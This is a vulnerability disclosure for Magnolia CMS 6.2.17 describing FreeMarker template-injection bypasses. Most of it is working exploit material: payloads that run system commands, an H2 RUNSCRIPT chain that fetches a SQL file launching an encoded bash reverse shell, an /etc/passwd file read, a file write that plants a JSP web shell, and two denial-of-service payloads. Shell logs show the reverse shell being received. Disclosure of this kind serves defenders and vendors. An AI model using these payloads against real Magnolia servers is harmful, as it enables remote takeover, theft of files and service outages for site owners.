


# Magnolia Disclosures

Version 6.2.17

## Environment:

- Magnolia 6.2.17
- Ubuntu Linux



## Findings:

### 1. MAGNOLIA-8348: FreeMarker Restriction Bypass 3

#### Description:

Magnolia uses the Java FreeMarker Template parser in order to display dynamic content in the web application.

Although the application implements restrictions against dangerous elements (BUILD-541<sup>1</sup> and MAGNOLIA-8281<sup>2</sup>), several bypasses were found that circumvents these restrictions and can be leveraged by attackers to perform:

- Remote Code Execution (RCE)
- Remote Code Execution via Malicious H2 Connection
- Read/Write Files
- Denial of Service (DoS)

<sup>1</sup> <https://jira.magnolia-cms.com/browse/BUILD-541>

<sup>2</sup> <https://jira.magnolia-cms.com/browse/MAGNOLIA-8281>

## Proof of Concept:

### 1.1. Remote Code Execution:

The following 3 SSTI payloads result in the execution of arbitrary system commands with the output returned in the page:


```
${ctx.request["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

```
${ctx.request.request["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

```
${ctx.request.session["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

**Note:** The above payloads execute the Linux “id” command.

**Note 2:** These payloads are a slightly modified version of the SSTI gadget presented here<sup>3</sup>.



<sup>3</sup> <https://securitylab.github.com/advisories/GHSL-2020-050-pebble/>

## 1.2. RCE via Malicious H2 Connection:

The “model”<sup>4</sup> rendering context object is a Magnolia wrapper over functionalities offered by the Apache Jackrabbit (JCR) component.

We can see that although the magnolia wrapper offers limited access to the underlying JCR functionalities, we are able to escape the exposed

“info.magnolia.jcr.decoration.ContentDecoratorSessionWrapper”<sup>5</sup> object and reach the full functionality of the “org.apache.jackrabbit.core.XASessionImpl”<sup>6</sup> class via the following methods:

- Calling the “unwrap()” function:

```
${model.parent.node.session.class}
=> class info.magnolia.jcr.decoration.ContentDecoratorSessionWrapper

${model.parent.node.session.unwrap().class}
=> class org.apache.jackrabbit.core.XASessionImpl
```

- Iterating thorough multiple levels of “wrappedSession”/“getWrappedSession()”<sup>7</sup>:

```
${model.parent.node.session}
=> class info.magnolia.jcr.decoration.ContentDecoratorSessionWrapper

${model.parent.node.session.wrappedSession}
=> class info.magnolia.jcr.wrapper.MagnoliaSessionWrapper

${model.parent.node.session.wrappedSession.wrappedSession.class}
=> class info.magnolia.audit.MgnlAuditLoggingContentDecoratorSessionWrapper

${model.parent.node.session.wrappedSession.wrappedSession.wrappedSession.class}
=> class
info.magnolia.jcr.wrapper.MgnlPropertySettingContentDecorator$MgnlPropertySettingSession
Wrapper

${model.parent.node.session.wrappedSession.wrappedSession.wrappedSession.wrappedSession.
class}
=> class info.magnolia.cms.core.version.MgnlVersioningSession

${model.parent.node.session.wrappedSession.wrappedSession.wrappedSession.wrappedSession.
wrappedSession.class}
=> class info.magnolia.jcr.decoration.ContentDecoratorSessionWrapper

${model.parent.node.session.wrappedSession.wrappedSession.wrappedSession.wrappedSession.
wrappedSession.wrappedSession.class}
=> class org.apache.jackrabbit.core.XASessionImpl
```

---

<sup>4</sup> <https://documentation.magnolia-cms.com/display/DOCS57/Rendering+context+objects#Renderingcontextobjects-model>

<sup>5</sup> <https://nexus.magnolia-cms.com/content/sites/magnolia.public/sites/ref/5.4/apidocs/info/magnolia/jcr/decoration/ContentDecoratorSessionWrapper.html>

<sup>6</sup> <https://jackrabbit.apache.org/api/trunk/org/apache/jackrabbit/core/XASessionImpl.html>

<sup>7</sup> [https://nexus.magnolia-cms.com/content/sites/magnolia.public/sites/ref/5.4/apidocs/info/magnolia/jcr/wrapper/DelegateSessionWrapper.html#getWrappedSession\(\)](https://nexus.magnolia-cms.com/content/sites/magnolia.public/sites/ref/5.4/apidocs/info/magnolia/jcr/wrapper/DelegateSessionWrapper.html#getWrappedSession())

With the “org.apache.jackrabbit.core.XASessionImpl” functions reached we are able to access the JCR “ConnectionFactory”<sup>8</sup> and create arbitrary JDBC and/or JNDI connections via the following gadget:

```
{model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.  
repositoryConfig.connectionFactory}  
=> org.apache.jackrabbit.core.util.db.ConnectionFactory
```

**Note:** As “ConnectionFactory” supports JNDI objects, “Rogue JNDI” attacks<sup>9</sup> may also be a possible vector.

Because Magnolia comes installed by default with the “H2 Database Engine”<sup>10</sup> we can leverage the H2 driver to create an arbitrary DB Connection which leverages “INIT=RUNSCRIPT”<sup>11</sup> to execute arbitrary Java payloads on Magnolia.

In order to achieve RCE we will host the “inject.sql” file on a python server listening on port 8000 which contains the following content:

```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {  
    String[] command = {"bash", "-c", cmd};  
    java.util.Scanner s = new  
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A  
");  
    return s.hasNext() ? s.next() : ""; }  
$$;  
CALL  
SHELLEXEC (' {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcucMC4wLjEvNDQ0NCwPwYxCG==} | {base64,-  
d} | bash')
```

**Note:** The above Linux command returns a reverse shell to the attacker listening on 127.0.0.1 on port 4444.

Once the python server is started, we can force Magnolia to connect to it via the following SSTI payload:

```
{model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.  
repositoryConfig.connectionFactory.getDataSource("org.h2.Driver",  
"jdbc:h2:mem;;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM  
'http://127.0.0.1:8000/inject.sql'", "mal", "mal").getConnection() }
```

**Note:** Although the connection is created via the “getDataSource(String driver, String url, String user, String password)”<sup>12</sup> function, we will need to call “getConnection()”<sup>13</sup> in order to initialize the connection and get RCE.

<sup>8</sup> <https://jackrabbit.apache.org/api/trunk/org/apache/jackrabbit/core/util/db/ConnectionFactory.html>

<sup>9</sup> <https://github.com/veracode-research/rogue-jndi>

<sup>10</sup> <https://www.h2database.com/html/main.html>

<sup>11</sup> <https://blog.doyensec.com/2019/07/22/jackson-gadgets.html>

<sup>12</sup>

[https://jackrabbit.apache.org/api/trunk/org/apache/jackrabbit/core/util/db/ConnectionFactory.html#getData  
Source-java.lang.String-java.lang.String-java.lang.String-java.lang.String-](https://jackrabbit.apache.org/api/trunk/org/apache/jackrabbit/core/util/db/ConnectionFactory.html#getDataSource-java.lang.String-java.lang.String-java.lang.String-java.lang.String-)

<sup>13</sup> <https://docs.oracle.com/javase/8/docs/api/javax/sql/DataSource.html#getConnection-->

## Inserting the malicious SSTI:

Resource Files

You're now editing a copy of the resource file stored in JCR

Content

```
1 [----- ASSIGMENTS -----]
2 [#include "/tours/templates/macros/image.ftl" /]
3 [#include "/tours/templates/macros/tourTypeIcon.ftl" /]
4
5 [#assign tours = model.tours]
6 [#assign showTourTypes = content.showTourTypestrue]
7
8 [----- RENDERING -----]
9
10 [#model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.repositoryConfig]
11
12 <!-- Tour Carousel -->
13 <div id="myCarousel" class="carousel slide">
14   <!-- Indicators -->
15   <ol class="carousel-indicators">
16     [#list tours as tour]
17       [#assign activeClass=""]
18       [#if tour_index == 0 ]
19         [#assign activeClass="active"]
20       [/#if]
21       <li data-target="#myCarousel" data-slide-to="{tour_index}" class="{activeClass}">/li>
22     [/#list]
23   </ol>
24
```


## Magnolia requests “inject.sql” and reverse shell is received:

nobody@tester:/tmp\$ cat inject.sql

CREATE ALIAS SHELLEXEC AS \$\$ string shellexec(string cmd) throws java.io.IOException {  
 String[] command = {"bash", "-c", cmd};  
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command)).getInput  
tStream().useDelimiter("\\A");  
 return s.hasNext() ? s.next() : ""; }  
\$S;  
CALL SHELLEXEC('echo,YnFzaCAtaSA+JiAvZGV2L3RjcC8xMjcUHC4wLjEvdnQ0NCAtPiYxCg==') (base64,-d) |ba  
sh')  
nobody@tester:/tmp\$  
nobody@tester:/tmp\$ python3 -m http.server  
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...  
127.0.0.1 - - [09/Mar/2022 22:42:04] "GET /inject.sql HTTP/1.1" 200 -

nobody@tester:/tmp\$ ncat -lvp 4444  
Ncat: Version 7.80 ( https://nmap.org/ncat )  
Ncat: Listening on :::4444  
Ncat: Listening on 0.0.0.0:4444  
Ncat: Connection from 127.0.0.1.  
Ncat: Connection from 127.0.0.1:44652.  
guest@tester:~/Desktop/Magnolia\$ pwd  
/home/guest/Desktop/Magnolia  
guest@tester:~/Desktop/Magnolia\$

## Magnolia Response Page:



**Note:** When requesting a page that parses this SSTI, the page will not load itself until the reverse shell is closed.

### 1.3. Read/Write Files:

We can again use the “model” rendering context object in order to reach an object of class “org.apache.jackrabbit.core.fs.local.LocalFileSystem”<sup>14</sup>.

The “LocalFileSystem” can be reached via the following 4 SSTI gadgets:

```
${model.parent.node.session.unwrap().workspace.config.fileSystem}
```

```
${model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.fileSystem}
```

```
${model.parent.node.session.unwrap().createSession("website").getNodeTypeManager().namePathResolver.repositoryContext.fileSystem}
```

```
${model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.repositoryConfig.fileSystem}
```

**Note:** As presented in “1.2. RCE via Malicious H2 Connection” we are able to replace “model.parent.node.session.unwrap()” with “model.parent.node.session.wrappedSession.wrappedSession.wrappedSession.wrappedSession.wrappedSession.wrappedSession” to reach the “org.apache.jackrabbit.core.XASessionImpl” class.

From here we are able to:

#### 1.3.1. Read Arbitrary Files:


Leverage access to the “LocalFileSystem” object to create an “InputStream” pointing to an arbitrary file and making a for loop that calls “read()” to read the file.

File Read SSTI:


```
Path: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path}
<br/>
Number of Files:
${model.parent.node.session.unwrap().workspace.config.fileSystem.listFiles("/../../../../../../../../../../../../../../../../etc/")?size}
<br/>
[#assign x =
model.parent.node.session.unwrap().workspace.config.fileSystem.getInputStream("/../../../../../../../../../../../../../../../../etc/passwd")]
"[ [#list 0..9999 as _]
[#assign byte=x.read()]
[#if byte == -1]
[#break]
[#if]
${byte}, [/#list] ]"
<br/><br/>
```

---

<sup>14</sup> <https://jackrabbit.apache.org/api/2.14/org/apache/jackrabbit/core/fs/local/LocalFileSystem.html>



We can see that the contents of the file is returned as a set of INTs corresponding to the decimal ASCII value of the read characters. From here we can use a python script to display it in human readable form:



**Note:** The “read\_array.py” python code can be found in the Appendix section.

### 1.3.2. Write Arbitrary Files leading to RCE:

Leverage access to the “LocalFileSystem” object to create an “OutputStream” pointing to an arbitrary location and making a for loop that calls “write(int b)” to write/overwrite the file.

In this case we can leverage the arbitrary file write in order to write a JSP file in a location accessible by the Tomcat server and obtain arbitrary code execution.

#### File Write SSTI:

```
Path: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path}
<br/>
[#assign path_trav = "/../../../../../ROOT/"]
[#assign jsp_file = path_trav + "mal.jsp"]
Writing JSP to: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path +
jsp_file}
<br/>
[#assign file_writer =
model.parent.node.session.unwrap().workspace.config.fileSystem.getOutputStream(jsp_file)
]
[#assign jsp_content = [60, 37, 64, 32, 112, 97, 103, 101, 32, 105, 109, 112, 111, 114,
116, 61, 34, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 42, 44, 106, 97, 118, 97, 46,
105, 111, 46, 42, 34, 37, 62, 10, 60, 37, 10, 37, 62, 10, 60, 72, 84, 77, 76, 62, 60,
66, 79, 68, 89, 62, 10, 67, 111, 109, 109, 97, 110, 100, 115, 32, 119, 105, 116, 104,
32, 74, 83, 80, 10, 60, 70, 79, 82, 77, 32, 77, 69, 84, 72, 79, 68, 61, 34, 71, 69, 84,
34, 32, 78, 65, 77, 69, 61, 34, 109, 121, 102, 111, 114, 109, 34, 32, 65, 67, 84, 73,
79, 78, 61, 34, 34, 62, 10, 60, 73, 78, 80, 85, 84, 32, 84, 89, 80, 69, 61, 34, 116,
101, 120, 116, 34, 32, 78, 65, 77, 69, 61, 34, 99, 109, 100, 34, 62, 10, 60, 73, 78, 80,
85, 84, 32, 84, 89, 80, 69, 61, 34, 115, 117, 98, 109, 105, 116, 34, 32, 86, 65, 76, 85,
69, 61, 34, 83, 101, 110, 100, 34, 62, 10, 60, 47, 70, 79, 82, 77, 62, 10, 60, 112, 114,
101, 62, 10, 60, 37, 10, 105, 102, 32, 40, 114, 101, 113, 117, 101, 115, 116, 46, 103,
101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 32,
33, 61, 32, 110, 117, 108, 108, 41, 32, 123, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112,
114, 105, 110, 116, 108, 110, 40, 34, 67, 111, 109, 109, 97, 110, 100, 58, 32, 34, 32,
43, 32, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101,
```

```

116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 32, 43, 32, 34, 60, 66, 82, 62, 34, 41, 59,
10, 32, 32, 32, 32, 80, 114, 111, 99, 101, 115, 115, 32, 112, 59, 10, 32, 32, 32, 32,
105, 102, 32, 40, 32, 83, 121, 115, 116, 101, 109, 46, 103, 101, 116, 80, 114, 111, 112,
101, 114, 116, 121, 40, 34, 111, 115, 46, 110, 97, 109, 101, 34, 41, 46, 116, 111, 76,
111, 119, 101, 114, 67, 97, 115, 101, 40, 41, 46, 105, 110, 100, 101, 120, 79, 102, 40,
34, 119, 105, 110, 100, 111, 119, 115, 34, 41, 32, 33, 61, 32, 45, 49, 41, 123, 10, 32,
32, 32, 32, 32, 32, 32, 112, 32, 61, 32, 82, 117, 110, 116, 105, 109, 101, 46, 103,
101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 99,
109, 100, 46, 101, 120, 101, 32, 47, 67, 32, 34, 32, 43, 32, 114, 101, 113, 117, 101,
115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109,
100, 34, 41, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 101, 108, 115, 101,
123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 112, 32, 61, 32, 82, 117, 110, 116, 105, 109,
101, 46, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99,
40, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101,
116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32,
32, 32, 32, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 32, 111, 115, 32,
61, 32, 112, 46, 103, 101, 116, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109,
40, 41, 59, 10, 32, 32, 32, 32, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 32,
105, 110, 32, 61, 32, 112, 46, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101,
97, 109, 40, 41, 59, 10, 32, 32, 32, 32, 68, 97, 116, 97, 73, 110, 112, 117, 116, 83,
116, 114, 101, 97, 109, 32, 100, 105, 115, 32, 61, 32, 110, 101, 119, 32, 68, 97, 116,
97, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 40, 105, 110, 41, 59, 10, 32,
32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 100, 105, 115, 114, 32, 61, 32, 100, 105,
115, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 59, 10, 32, 32, 32, 32, 119, 104,
105, 108, 101, 32, 40, 32, 100, 105, 115, 114, 32, 33, 61, 32, 110, 117, 108, 108, 32,
41, 32, 123, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112, 114, 105, 110, 116, 108, 110,
40, 100, 105, 115, 114, 41, 59, 10, 32, 32, 32, 32, 100, 105, 115, 114, 32, 61, 32, 100,
105, 115, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 59, 10, 32, 32, 32, 32, 125,
10, 125, 10, 37, 62, 10, 60, 47, 112, 114, 101, 62, 10, 60, 47, 66, 79, 68, 89, 62, 60,
47, 72, 84, 77, 76, 62, 10]]


[#list jsp_content as x]
    ${file_writer.write(x?number)}
[/#list]
${file_writer.close()}

<br/>
Listing Location for "mal.jsp":
<br/>
${model.parent.node.session.unwrap().workspace.config.fileSystem.listFiles(path_trav)?jo
in(", ")}

<br/><br/>

```

**Note:** The “payload\_2\_INTarray.py” python code used to obtain the int array for “jsp\_content” can be found in the Appendix section.





Now, if everything was performed successfully, our malicious JSP will be written to the tomcat root and we can execute arbitrary system commands by accessing it at “http://<IP>:8080/mal.jsp”:



localhost:8080/mal.jsp?cmd=id

Commands with JSP

Send

Command: id

uid=1000(guest) gid=1000(guest) groups=1000(guest),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)

## 1.4. Denial of Service (DoS):

The following SSTI gadgets were identified to result in a persistent Denial of Service until the Magnolia Server is restarted:

### 1.4.1. Magnolia Instance Shutdown:

The following SSTI results in the shutdown of the current instance (e.g. Magnolia Author), resulting in “HTTP 500” Errors when trying to access any component belonging to the respective instance (e.g. the site, admincentral, etc.):

```
${model.parent.node.wrappedNode.wrappedNode.wrappedNode.wrappedNode.wrappedNode.wrappedNode.session.repository.shutdown() }
```




### 1.4.2. DB Connection Close:

In this case, although the site/instance does not return a “500” error, by closing the connection we will prevent the execution of any SQL command on the server (e.g. write/update/delete actions, SQL requiring site images/resources):


```
${model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.repositoryConfig.connectionFactory.close() }
```

Although the site is (somewhat) functional we can see that:

- Errors appear when trying to save any modification made from admincentral:



- Site resources are not properly loaded:



# Appendix:

## 3 Freemarker payloads that result in RCE:

```
${ctx.request["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

```
${ctx.request.request["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

```
${ctx.request.session["servletContext"]["getAttribute"]("org.apache.tomcat.InstanceManager")["newInstance"]("freemarker.template.utility.Execute")("id")}
```

## Full FreeMarker code for triggering a malicious H2 connection:

```
{model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.repositoryConfig.connectionFactory.getDataSource("org.h2.Driver","jdbc:h2:mem::TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/inject.sql'", "mal", "mal").getConnection()}
```

## Contents of "inject.sql":

```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {  
    String[] command = {"bash", "-c", cmd};  
    java.util.Scanner s = new  
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A  
");  
    return s.hasNext() ? s.next() : ""; }  
$$;  
CALL  
SHELLEXEC ('{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcucMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-  
d}|bash')
```

## Full FreeMarker code for reading arbitrary files:

```
Path: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path}  
<br/>  
Number of Files:  
${model.parent.node.session.unwrap().workspace.config.fileSystem.listFiles("/../../../../..  
/../../../../../../../../../../../../etc/")?size}  
<br/>  
[#assign x =  
model.parent.node.session.unwrap().workspace.config.fileSystem.getInputStream("/../../../../..  
/../../../../../../../../../../../../../../../../etc/passwd")]  
"[ [#list 0..9999 as _]  
[#assign byte=x.read()]  
    [#if byte == -1]  
        [#break]  
    [#if]  
    ${byte}, [#list] ]"  
<br/><br/>
```

## Full FreeMarker code for writing arbitrary files:

```
Path: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path}
<br/>
[#assign path_trav = "/../../../../../ROOT/"]
[#assign jsp_file = path_trav + "mal.jsp"]
Writing JSP to: ${model.parent.node.session.unwrap().workspace.config.fileSystem.path +
jsp_file}
<br/>
[#assign file_writer =
model.parent.node.session.unwrap().workspace.config.fileSystem.getOutputStream(jsp_file)
]
[#assign jsp_content = [60, 37, 64, 32, 112, 97, 103, 101, 32, 105, 109, 112, 111, 114,
116, 61, 34, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 42, 44, 106, 97, 118, 97, 46,
105, 111, 46, 42, 34, 37, 62, 10, 60, 37, 10, 37, 62, 10, 60, 72, 84, 77, 76, 62, 60,
66, 79, 68, 89, 62, 10, 67, 111, 109, 109, 97, 110, 100, 115, 32, 119, 105, 116, 104,
32, 74, 83, 80, 10, 60, 70, 79, 82, 77, 32, 77, 69, 84, 72, 79, 68, 61, 34, 71, 69, 84,
34, 32, 78, 65, 77, 69, 61, 34, 109, 121, 102, 111, 114, 109, 34, 32, 65, 67, 84, 73,
79, 78, 61, 34, 34, 62, 10, 60, 73, 78, 80, 85, 84, 32, 84, 89, 80, 69, 61, 34, 116,
101, 120, 116, 34, 32, 78, 65, 77, 69, 61, 34, 99, 109, 100, 34, 62, 10, 60, 73, 78, 80,
85, 84, 32, 84, 89, 80, 69, 61, 34, 115, 117, 98, 109, 105, 116, 34, 32, 86, 65, 76, 85,
69, 61, 34, 83, 101, 110, 100, 34, 62, 10, 60, 47, 70, 79, 82, 77, 62, 10, 60, 112, 114,
101, 62, 10, 60, 37, 10, 105, 102, 32, 40, 114, 101, 113, 117, 101, 115, 116, 46, 103,
101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 32,
33, 61, 32, 110, 117, 108, 108, 41, 32, 123, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112,
114, 105, 110, 116, 108, 110, 40, 34, 67, 111, 109, 109, 97, 110, 100, 58, 32, 34, 32,
43, 32, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101,
116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 32, 43, 32, 34, 60, 66, 82, 62, 34, 41, 59,
10, 32, 32, 32, 32, 80, 114, 111, 99, 101, 115, 115, 32, 112, 59, 10, 32, 32, 32, 32,
105, 102, 32, 40, 32, 83, 121, 115, 116, 101, 109, 46, 103, 101, 116, 80, 114, 111, 112,
101, 114, 116, 121, 40, 34, 111, 115, 46, 110, 97, 109, 101, 34, 41, 46, 116, 111, 76,
111, 119, 101, 114, 67, 97, 115, 101, 40, 41, 46, 105, 110, 100, 101, 120, 79, 102, 40,
34, 119, 105, 110, 100, 111, 119, 115, 34, 41, 32, 33, 61, 32, 45, 49, 41, 123, 10, 32,
32, 32, 32, 32, 32, 112, 32, 61, 32, 82, 117, 110, 116, 105, 109, 101, 46, 103,
101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 99,
109, 100, 46, 101, 120, 101, 32, 47, 67, 32, 34, 32, 43, 32, 114, 101, 113, 117, 101,
115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 40, 34, 99, 109,
100, 34, 41, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 101, 108, 115, 101,
123, 10, 32, 32, 32, 32, 32, 32, 112, 32, 61, 32, 82, 117, 110, 116, 105, 109,
101, 46, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99,
40, 114, 101, 113, 117, 101, 115, 116, 46, 103, 101, 116, 80, 97, 114, 97, 109, 101,
116, 101, 114, 40, 34, 99, 109, 100, 34, 41, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32,
32, 32, 32, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 32, 111, 115, 32,
61, 32, 112, 46, 103, 101, 116, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109,
40, 41, 59, 10, 32, 32, 32, 32, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 32,
105, 110, 32, 61, 32, 112, 46, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101,
97, 109, 40, 41, 59, 10, 32, 32, 32, 32, 68, 97, 116, 97, 73, 110, 112, 117, 116, 83,
116, 114, 101, 97, 109, 32, 100, 105, 115, 32, 61, 32, 110, 101, 119, 32, 68, 97, 116,
97, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 40, 105, 110, 41, 59, 10, 32,
32, 32, 32, 83, 116, 114, 105, 110, 103, 32, 100, 105, 115, 114, 32, 61, 32, 100, 105,
115, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 59, 10, 32, 32, 32, 32, 119, 104,
105, 108, 101, 32, 40, 32, 100, 105, 115, 114, 32, 33, 61, 32, 110, 117, 108, 108, 32,
41, 32, 123, 10, 32, 32, 32, 32, 111, 117, 116, 46, 112, 114, 105, 110, 116, 108, 110,
40, 100, 105, 115, 114, 41, 59, 10, 32, 32, 32, 32, 100, 105, 115, 114, 32, 61, 32, 100,
105, 115, 46, 114, 101, 97, 100, 76, 105, 110, 101, 40, 41, 59, 10, 32, 32, 32, 32, 125,
10, 125, 10, 37, 62, 10, 60, 47, 112, 114, 101, 62, 10, 60, 47, 66, 79, 68, 89, 62, 60,
47, 72, 84, 77, 76, 62, 10]]

[#list jsp_content as x]
    ${file_writer.write(x?number)}
[/#list]
${file_writer.close()}

<br/>
Listing Location for "mal.jsp":
<br/>
${model.parent.node.session.unwrap().workspace.config.fileSystem.listFiles(path_trav)?jo
in(", ")}

<br/><br/>
```

## Python code for “payload\_2\_INTarray.py”:

```
#!/usr/bin/python

payload = """<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>
"""

x = []

for i in payload:
    x.append(ord(i))

print(x)
```

**Note:** The JSP code was taken from

“<https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461>”.

## 2 Freemarker payloads that result in DoS:

```
${model.parent.node.wrappedNode.wrappedNode.wrappedNode.wrappedNode.wrappedNode.wrappedNode.session.repository.shutdown() }
```

```
${model.parent.node.session.unwrap().nodeTypeManager.namePathResolver.repositoryContext.repositoryConfig.connectionFactory.close() }
```